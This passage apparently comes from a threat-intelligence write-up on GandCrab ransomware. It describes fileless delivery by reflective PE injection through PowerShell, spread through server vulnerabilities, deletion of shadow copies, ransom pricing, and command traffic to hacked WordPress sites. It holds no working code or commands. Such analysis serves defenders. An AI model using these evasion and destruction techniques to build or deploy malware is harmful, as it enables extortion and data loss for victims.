PowerShell code that looks like this example: This instance of PowerShell is pointed at a file hosted on a reputable, public website, such as Pastebin, but we’ve also seen them pointed at malicious domains. The file contains .Net-based PowerShell code that calls a module named ‘Invoke-GandCrab’ (naturally), which, by this point, is already loaded in the memory of the victim’s machine. What makes this attack special and unique is its ability to be fileless. To achieve that, the authors leveraged a feature called Reflective PE Injection, made available in a Github code repository named PowerSploit, to inject GandCrab’s malicious binary into PowerShell’s running memory. In Reflective PE Injection, PowerShell is made to load the ransomware directly from memory, and never writes a copy of its PE to disk. This is an effective countermeasure to traditional antivirus software, which would not be able to detect or clean the (conspicuously absent) malicious file. More recent variants of GandCrab have been spreading by means of known vulnerabilities (including Fallout Exploit Kit, which only recently appeared in the wild), and the rest of the “usual suspects” varieties of Trojans. Like Ryuk and SamSam, some purveyors of GandCrab attacks leveraged JBoss, Oracle Fusion and WebLogic, and Tomcat vulnerabilities to spread onto enterprise networks. The PowerShell scripts are also encoded, though they perform the same function as before; they are just not human-readable. Attack traffic targeting Oracle WebLogic on port 7001/tcp is now part of the Internet background radiation. Attackers will never stop actively scanning the internet for this port. ## How does it work? The creators of GandCrab release frequent version updates. These notes refer to version 5.0.5. The malware checks for a mutex on start. If it finds it, the program quits. In our case, the mutex looked like this: The malware also halts and does no damage if your computer language settings are configured to any of these specific language IDs. The malware sends a profile of the hardware, OS, and other information back home. GandCrab uses a lot of lists. It kills the process of some programs in order to correctly encrypt the data files they might have open. It of course has a target list of file types to encrypt, and files and paths to whitelist. It deletes the Volume Shadow Copy of the drives and enumerates all mounted drive letters. The encryption takes a little time to complete, depending on how full the drive is. Free decryptor tools have been released for some versions of GandCrab, but the authors quickly update to another version, and the decryptor tools stop working. All the ransom notes include a GandCrab key you must provide if you meet their demand for payment. ## How much do you have to pay? The business model for GandCrab gives the franchisee the option of choosing their ransom amount, among other features. Some victims report ransoms as low as $300 but they can run an order of magnitude higher. ## Network communication GandCrab tends to communicate with a wide range of what appear to be hacked sites running WordPress. It transmits data in GET requests to files with image file extensions (jpg, png, gif, bmp).